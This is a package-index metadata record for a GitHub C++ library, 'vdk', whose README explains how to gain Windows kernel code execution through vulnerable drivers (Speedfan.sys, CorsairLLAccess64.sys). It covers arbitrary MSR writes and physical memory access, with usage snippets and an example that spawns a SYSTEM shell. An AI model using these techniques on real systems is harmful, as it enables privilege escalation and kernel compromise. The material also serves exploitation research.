{"id":19179369,"url":"https://github.com/archercreat/vdk","last_synced_at":"2025-07-01T05:38:11.014Z","repository":{"id":132754258,"uuid":"492042102","full_name":"archercreat/vdk","owner":"archercreat","description":"vdk is a set of utilities used to help with exploitation of a vulnerable driver.","archived":false,"fork":false,"pushed_at":"2022-05-22T12:16:18.000Z","size":252,"stargazers_count":39,"open_issues_count":0,"forks_count":8,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-04-20T03:33:16.649Z","etag":null,"topics":["cmkr","cpp","driver","exploitation"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/archercreat.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-05-13T21:13:24.000Z","updated_at":"2024-10-02T21:51:03.000Z","dependencies_parsed_at":null,"dependency_job_id":"729a3b3b-f871-44bd-b99d-e34fb40fb3c7","html_url":"https://github.com/archercreat/vdk","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/archercreat%2Fvdk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/archercreat%2Fvdk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/archercreat%2Fvdk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/archercreat%2Fvdk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/archercreat","download_url":"https://codeload.github.com/archercreat/vdk/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":252961858,"owners_count":21832192,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cmkr","cpp","driver","exploitation"],"created_at":"2024-11-09T10:42:56.661Z","updated_at":"2025-05-07T21:46:21.789Z","avatar_url":"https://github.com/archercreat.png","language":"C++","readme":"# vdk - vulnerable driver kit\n\n*vdk* is a set of utilities used to help with exploitation of a vulnerable driver.\nThere are 2 main features of this library:\n1. Getting kernel code execution via arbitrary msr write vulnerability\n2. Getting kernel code execution via arbitrary physical memory read/write vulnerability\n\nThis project was written after I played with a few vulnerable drivers and was highly inspired by [msrexec](https://back.engineering/22/03/2021/) and [vdm](https://back.engineering/01/11/2020/) projects. I suggest you to read them first to understand what's going on.\n\nTreat this project as a rewritten and improved version of those two.\n\nThere are 2 vulnerable drivers that you can use this library with but it should be easy to extend to use with any vulnerable driver. The corresponding code is in `example/src/llaccess.hpp` for `CorsairLLAccess64.sys` and `example/src/speedfan.hpp` for `Speedfan.sys`.\nThe example project shows every part of this library and uses speedfan driver to spawn shell with system privileges.\n\n# How to use\ncmkr example:\n```\n[fetch-content.vdk]\ngit = \"https://github.com/archercreat/vdk.git\"\n...\nlink-libraries = [\"vdk\"]\n```\n\ncmake example:\n```cmake\ninclude(FetchContent)\nFetchContent_Declare(vdk GIT_REPOSITORY https://github.com/archercreat/vdk.git)\nFetchContent_MakeAvailable(vdk)\n\ntarget_link_libraries(${PROJECT_NAME} PRIVATE vdk)\n```\n\n# Examples\nPlease refer to example folder for more examples.\n\nExecute callback in kernel space by abusing abritrary msr write vulnerability:\n```cpp\nusing dbgprint_t = void(*)(const char*, ...);\n\nvdk::msr::exec([\u0026](void* base, vdk::resolver_t resolver)\n{\n\tauto print = reinterpret_cast\u003cdbgprint_t\u003e(resolver(base, \"DbgPrint\"));\n\tprint(\"Hello from kernel! cr3: 0x%llx\\n\", __readcr3());\n},\n[\u0026](uint32_t msr, uint64_t value)\n{\n    wrmsr_cmd cmd\n    {\n        .msr   = msr,\n        .value = value\n    };\n    unsigned long temp, result;\n    return DeviceIoControl(drv, ioctl_wrmsr, \u0026cmd, sizeof(cmd), \u0026result, sizeof(result), \u0026temp, nullptr);\n});\n```\n\nExecute any ntoskrnl exported function:\n```cpp\nvoid* sysproc{};\nauto status = vdk::map::syscall\u003cproclookup_t\u003e(rdmem, wrmem, \"PsLookupProcessByProcessId\", 4, \u0026sysproc);\nfassert(NT_SUCCESS(status));\n```\n\nIterate over physical regions:\n```cpp\nfor (const auto\u0026 region : vdk::phy::regions())\n{\n\tstd::printf(\"Region: 0x%llx - 0x%llx\\n\", region.start, region.start + region.size);\n}\n```\n\nResolve exported function from pe module:\n```cpp\nstd::vector\u003cuint8_t\u003e raw;\nvdk::drv::read_file(\"C:\\\\Windows\\\\System32\\\\ntoskrnl.exe\", raw);\nauto rva = vdk::pe::get_export_rva(raw.data(), \"RtlFindExportedRoutineByName\");\n```\n\nRetrieve loaded modules list:\n```cpp\nfor (const auto\u0026 module : vdk::drv::loaded())\n{\n\tstd::printf(\"0x%llx - 0x%llx %s\\n\", module.base, module.base + module.size, module.name.c_str());\n}\n```\n\nScan memory region for patterns (`0x00` - any character):\n```cpp\nstd::vector\u003cuint8_t\u003e buf{ 0x69, 0x69, 0x69, 0x10 };\nauto ptr = vdk::mem::find_first(buff.data(), buf.size(), \"\\x69\\x69\\x69\\x00\", 4);\nfassert(ptr);\n```\n\nLoad or unload drivers (service name will be the name of the file):\n```cpp\nauto path = std::filesystem::current_path().append(\"SpeedFan\");\nvdk::drv::load(path);\nvdk::drv::unload(path);\n```\n\n# Notes\nThe msr exploitation is highly unstable and should be used as a last resort. There is a high chance that the thread will switch to another core where `cr4.smap` isn't disabled. If you really want to use msr exploit, build project in `Release` mode and replace cr4 value that is specific to your PC in `lib/vdk/msr.cpp` (I didn't bother getting cr4 value dynamically but might do it later).\n\n# build\n```\ncmake -B build\ncmake --build build --config Release\n```\n\n# Credits\nAll credits go to `_xeroxz` and his `msrexec` and `vdm` projects.\n\n# TODO\nHVCI support\nKernel CFG support\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farchercreat%2Fvdk","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Farchercreat%2Fvdk","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farchercreat%2Fvdk/lists"}